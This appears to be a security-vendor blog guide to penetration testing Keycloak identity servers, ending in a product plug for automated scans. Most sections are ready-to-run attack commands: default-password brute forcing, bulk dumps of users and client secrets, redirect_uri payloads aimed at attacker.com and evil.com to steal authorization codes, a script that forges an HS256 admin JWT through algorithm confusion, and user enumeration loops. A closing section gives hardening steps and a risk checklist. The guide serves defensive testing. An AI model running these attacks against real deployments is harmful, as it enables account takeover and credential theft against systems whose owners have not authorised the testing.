Keycloak Security Testing: Identity Provider Misconfiguration, Realm Exploitation, and Token Forgery

Keycloak is the identity backbone of thousands of enterprise deployments — it issues every JWT, manages every SSO session, and enforces authorization for all integrated applications. A misconfigured Keycloak deployment can allow attackers to forge tokens with arbitrary claims, hijack sessions via open redirect_uri, enumerate users through unauthenticated APIs, or achieve full RCE via the admin console. This guide covers systematic Keycloak security testing from unauthenticated reconnaissance through full account takeover.

Table of Contents

  1. Keycloak Reconnaissance
  2. Admin Console Exposure
  3. Realm Misconfiguration
  4. Client Secret and Credential Theft
  5. redirect_uri and Open Redirect Abuse
  6. Token Forgery and Algorithm Confusion
  7. User Enumeration
  8. Keycloak Security Hardening

Keycloak Reconnaissance

# Keycloak exposes OIDC discovery endpoints per realm — no auth required
# Standard URL: /auth/realms/{realm}/.well-known/openid-configuration
# Since Keycloak 17+: /realms/{realm}/.well-known/openid-configuration

# Discover Keycloak version and realm names
curl -s "https://keycloak.target.com/auth/" | grep -i "keycloak\|version"
# Or from response headers:
curl -I "https://keycloak.target.com/auth/"

# Common realm names to enumerate
for realm in master internal prod staging dev employees customers api; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://keycloak.target.com/realms/$realm/.well-known/openid-configuration")
  echo "$realm: HTTP $code"
done

# For each discovered realm, extract configuration
curl -s "https://keycloak.target.com/realms/master/.well-known/openid-configuration" | \
  python3 -m json.tool | grep -E "issuer|token_endpoint|jwks_uri|grant_types|scopes"

# Keycloak admin REST API — check if accessible without auth
curl -s -o /dev/null -w "%{http_code}" \
  "https://keycloak.target.com/admin/realms"
# 401 = requires auth (expected), 200 = unauthenticated admin access (critical)

# Get JWKS public keys (used for token verification)
curl -s "https://keycloak.target.com/realms/master/protocol/openid-connect/certs" | \
  python3 -m json.tool

Admin Console Exposure

# The admin console at /auth/admin/ or /admin/ should NEVER be internet-accessible
# Test for direct access
curl -s -o /dev/null -w "%{http_code}" "https://keycloak.target.com/admin/"
curl -s -o /dev/null -w "%{http_code}" "https://keycloak.target.com/auth/admin/"

# Test default admin credentials
KC_URL="https://keycloak.target.com"
for pass in admin password keycloak admin123 secret changeme; do
  TOKEN=$(curl -s -X POST "$KC_URL/realms/master/protocol/openid-connect/token" \
    -d "client_id=admin-cli&username=admin&password=$pass&grant_type=password" | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('access_token','FAIL')[:20])" 2>/dev/null)
  [[ "$TOKEN" != "FAIL" ]] && echo "[!] Valid creds: admin:$pass" && break
done

# If admin token obtained — enumerate all realms, clients, users
ADMIN_TOKEN="eyJhbGc..."
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
  "$KC_URL/admin/realms" | \
  python3 -c "import json,sys; [print(r['realm'], r.get('displayName','')) for r in json.load(sys.stdin)]"

# Extract all users from a realm
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
  "$KC_URL/admin/realms/master/users?max=100" | \
  python3 -c "
import json,sys
for u in json.load(sys.stdin):
    print(f\"User: {u['username']} Email: {u.get('email','?')} Enabled: {u['enabled']}\")
    if u.get('realmRoles'): print(f\"  Roles: {u.get('realmRoles')}\")
"

# Extract all client secrets
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
  "$KC_URL/admin/realms/master/clients?clientId=&search=true&max=100" | \
  python3 -c "
import json,sys
clients = json.load(sys.stdin)
for c in clients:
    if not c.get('publicClient', True):  # confidential clients have secrets
        print(f\"Client: {c['clientId']} Protocol: {c['protocol']}\")
"

Realm Misconfiguration

# Check for password policy weaknesses
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
  "$KC_URL/admin/realms/master" | \
  python3 -c "
import json,sys
realm = json.load(sys.stdin)
print(f\"Brute force protection: {realm.get('bruteForceProtected', False)}\")
print(f\"Password policy: {realm.get('passwordPolicy', 'NONE')}\")
print(f\"Login with email: {realm.get('loginWithEmailAllowed', False)}\")
print(f\"User registration enabled: {realm.get('registrationAllowed', False)}\")
print(f\"SSL required: {realm.get('sslRequired', 'none')}\")
print(f\"Access token lifespan: {realm.get('accessTokenLifespan', 300)}s\")
print(f\"Refresh token max reuse: {realm.get('refreshTokenMaxReuse', 0)}\")
"

# Critical findings:
# bruteForceProtected: false → no lockout policy
# sslRequired: none → HTTP allowed for token exchange
# registrationAllowed: true → anyone can create accounts
# accessTokenLifespan: 86400+ → tokens valid for 24h+ (should be <5min)
# refreshTokenMaxReuse: 0 means unlimited reuse (rotation not enforced)

# Test user registration on public realm (if allowed)
curl -s -X POST "$KC_URL/realms/master/protocol/openid-connect/registrations" \
  -H "Content-Type: application/json" \
  -d '{"firstName":"Test","lastName":"User","email":"test@evil.com","username":"testuser","password":"Test1234!","passwordConfirm":"Test1234!"}'

# Check if email verification is required
# (registration without email verification = no identity validation)

Client Secret and Credential Theft

# Keycloak clients can be public (no secret) or confidential (have a secret)
# Client secrets in application configs → can get tokens as that client

# Find client secrets in application source code
grep -rE "(client_secret|KEYCLOAK_SECRET|KC_CLIENT_SECRET)" . \
  --include="*.env" --include="*.yaml" --include="*.properties" --include="*.json"

# Use stolen client secret to get a token (client_credentials grant)
CLIENT_ID="myapp-backend"
CLIENT_SECRET="stolen-secret"
curl -s -X POST "$KC_URL/realms/master/protocol/openid-connect/token" \
  -d "client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&grant_type=client_credentials" | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(f\"Token: {d.get('access_token','ERROR')[:80]}...\")"

# Decode the token to see granted roles/permissions
TOKEN="eyJhbGc..."
python3 << 'EOF'
import base64, json
token = "TOKEN_HERE"
parts = token.split('.')
payload = parts[1] + '=' * (4 - len(parts[1]) % 4)
decoded = json.loads(base64.urlsafe_b64decode(payload))
print(json.dumps(decoded, indent=2))
EOF

# Test if service account has admin-equivalent permissions
# Some deployments grant realm-management roles to service accounts
curl -s -H "Authorization: Bearer $CLIENT_TOKEN" \
  "$KC_URL/admin/realms/master/users?max=10"

redirect_uri and Open Redirect Abuse

# Keycloak validates redirect_uri against registered patterns
# Overly broad patterns (wildcards) allow authorization code theft

# Check registered redirect URIs for a client
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
  "$KC_URL/admin/realms/master/clients" | \
  python3 -c "
import json,sys
for c in json.load(sys.stdin):
    uris = c.get('redirectUris', [])
    for uri in uris:
        if '*' in uri or uri == '/*':
            print(f\"[!] Wildcard redirect: {c['clientId']}: {uri}\")
        if 'localhost' in uri:
            print(f\"[?] Localhost redirect: {c['clientId']}: {uri}\")
"

# Exploit wildcard redirect_uri (e.g., registered: https://app.target.com/*)
# Attacker constructs:
REDIRECT="https://attacker.com/steal?orig=https://app.target.com/callback"
# URL: $KC_URL/realms/master/protocol/openid-connect/auth?client_id=myapp&response_type=code&redirect_uri=$REDIRECT

# Test for open redirect in post-login flow
curl -s -o /dev/null -w "%{http_code}" \
  "$KC_URL/realms/master/protocol/openid-connect/auth?client_id=account&response_type=code&redirect_uri=https://evil.com&scope=openid"
# 302 to evil.com = vulnerable
# 400 "Invalid redirect_uri" = protected

# Test path traversal in redirect_uri
# If registered: https://app.target.com/callback
# Try: https://app.target.com/callback/../../../evil?
python3 -c "
from urllib.parse import quote
base = 'https://app.target.com/callback'
traversals = ['/../../../evil', '/..%2F..%2F..%2Fevil', '/callback?next=https://evil.com']
for t in traversals:
    print(f'Try: {base}{quote(t, safe=\"/\")}')
"

Token Forgery and Algorithm Confusion

# Keycloak uses RS256 by default — tokens signed with private key, verified with public key
# Algorithm confusion: change header to HS256 and sign with the public key as HMAC secret

# Get Keycloak's public key from JWKS endpoint
curl -s "$KC_URL/realms/master/protocol/openid-connect/certs" | \
  python3 -c "
import json,sys
keys = json.load(sys.stdin)['keys']
for k in keys:
    if k.get('use') == 'sig':
        print(f\"Key ID: {k['kid']}\")
        print(f\"Algorithm: {k['alg']}\")
        print(f\"n: {k['n'][:50]}...\")
"

# Craft forged HS256 token signed with the public key
python3 << 'EOF'
import base64, hmac, hashlib, json

# Stolen valid token header
header = {"alg": "HS256", "typ": "JWT"}
# Modified payload with elevated roles
payload = {
    "exp": 9999999999,
    "iat": 1000000000,
    "sub": "user-id",
    "preferred_username": "admin",
    "realm_access": {
        "roles": ["admin", "realm-admin"]
    },
    "resource_access": {
        "realm-management": {
            "roles": ["manage-users", "manage-realm"]
        }
    }
}

def b64url(data):
    if isinstance(data, dict):
        data = json.dumps(data, separators=(',',':')).encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# The "secret" is the PEM-encoded public key (algorithm confusion attack)
public_key_pem = "-----BEGIN PUBLIC KEY-----\nMIIBIjAN...\n-----END PUBLIC KEY-----\n"

h = b64url(header)
p = b64url(payload)
sig = hmac.new(public_key_pem.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()
forged_token = f"{h}.{p}.{b64url(sig)}"
print(f"Forged token: {forged_token[:80]}...")
EOF

# Test if application accepts the forged token
# (This only works if the app accepts both HS256 and RS256)

User Enumeration

# Keycloak registration and login pages often leak user existence

# Test login error messages
curl -s -X POST "$KC_URL/realms/master/protocol/openid-connect/token" \
  -d "client_id=account&username=admin&password=wrongpassword&grant_type=password" | \
  python3 -c "import json,sys; print(json.load(sys.stdin).get('error_description','?'))"
# "Invalid user credentials" = user EXISTS but wrong password
# "Account disabled" = user exists but disabled
# "Account not found" = user DOESN'T exist (enables enumeration)

# Exploit registration endpoint for user enumeration
for user in admin administrator user1 john.doe sven@target.com; do
  response=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "$KC_URL/realms/master/protocol/openid-connect/registrations" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "username=$user&email=$user@test.com&password=Test1234!")
  echo "$user: HTTP $response"
  # 409 = user already exists, 200 = created (doesn't exist)
done

# Admin API user search (if accessible without auth — critical misconfiguration)
curl -s "$KC_URL/admin/realms/master/users?search=admin" | python3 -m json.tool 2>/dev/null

# Forgot password enumeration
curl -s -X POST "$KC_URL/realms/master/login-actions/reset-credentials" \
  -d "username=admin" | grep -i "email\|sent\|not found"

Keycloak Security Hardening

# 1. Restrict admin console to internal networks only
# Keycloak configuration or reverse proxy restriction:
# Only allow access to /auth/admin/* from internal IP ranges

# 2. Enable brute force protection
# Admin Console: Realm Settings → Security Defenses → Brute Force Detection
# Or via API:
curl -X PUT -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  "$KC_URL/admin/realms/master" \
  -d '{
    "bruteForceProtected": true,
    "failureFactor": 5,
    "waitIncrementSeconds": 60,
    "maxWaitSeconds": 900,
    "minimumQuickLoginWaitSeconds": 60,
    "quickLoginCheckMilliSeconds": 1000
  }'

# 3. Set strict access token lifespan
# Access token: 300s (5 min) max
# Refresh token: 1800s (30 min)
curl -X PUT -H "Authorization: Bearer $ADMIN_TOKEN" \
  "$KC_URL/admin/realms/master" \
  -d '{
    "accessTokenLifespan": 300,
    "ssoSessionMaxLifespan": 36000,
    "offlineSessionMaxLifespan": 5184000,
    "ssoSessionIdleTimeout": 1800
  }'

# 4. Restrict redirect_uri to exact matches (no wildcards)
# Never use: https://app.target.com/*
# Always use: https://app.target.com/callback

# 5. Use only RS256 (asymmetric) — never allow HS256 for realm tokens
# Client Settings → Advanced → Signed JWT → RS256

# 6. Enable SSL required for ALL requests
curl -X PUT -H "Authorization: Bearer $ADMIN_TOKEN" \
  "$KC_URL/admin/realms/master" -d '{"sslRequired": "all"}'

# 7. Disable user registration unless required
# Realm Settings → Login → User Registration: OFF

# 8. Enable login event logging
curl -X PUT -H "Authorization: Bearer $ADMIN_TOKEN" \
  "$KC_URL/admin/realms/master" \
  -d '{"eventsEnabled": true, "eventsExpiration": 604800, "adminEventsEnabled": true}'
Keycloak Security Checklist: Block admin console from internet (internal access only); test default admin credentials; enable brute force protection; set strict token lifespan (5min access, 30min refresh); audit all client redirect URIs for wildcards; enforce RS256-only (no HS256 on realm tokens); disable user registration if not needed; require email verification; enable event logging; audit service account roles for over-privilege; restrict Keycloak to HTTPS-only.
Security TestMethodRisk
Admin console internet-accessiblecurl /admin/ — expect 403 from internetCritical
Default admin:admin credentialsclient_credentials token requestCritical
Wildcard redirect_uriAdmin API client redirect URI auditCritical
Algorithm confusion (RS256 → HS256)Forge token with public key as HMACCritical
Client secret in codegrep for KEYCLOAK_SECRET in reposHigh
User enumeration via error messagesLogin with known/unknown usersMedium
Brute force protection disabledAdmin API realm settings checkHigh
Long-lived access tokensDecode JWT exp vs iat claimMedium

Automate Keycloak Security Testing

Ironimo audits Keycloak deployments for admin console exposure, realm misconfiguration, overly permissive redirect URIs, client credential weaknesses, and token validation gaps — covering the full OIDC provider attack surface in a single scan.

Start free scan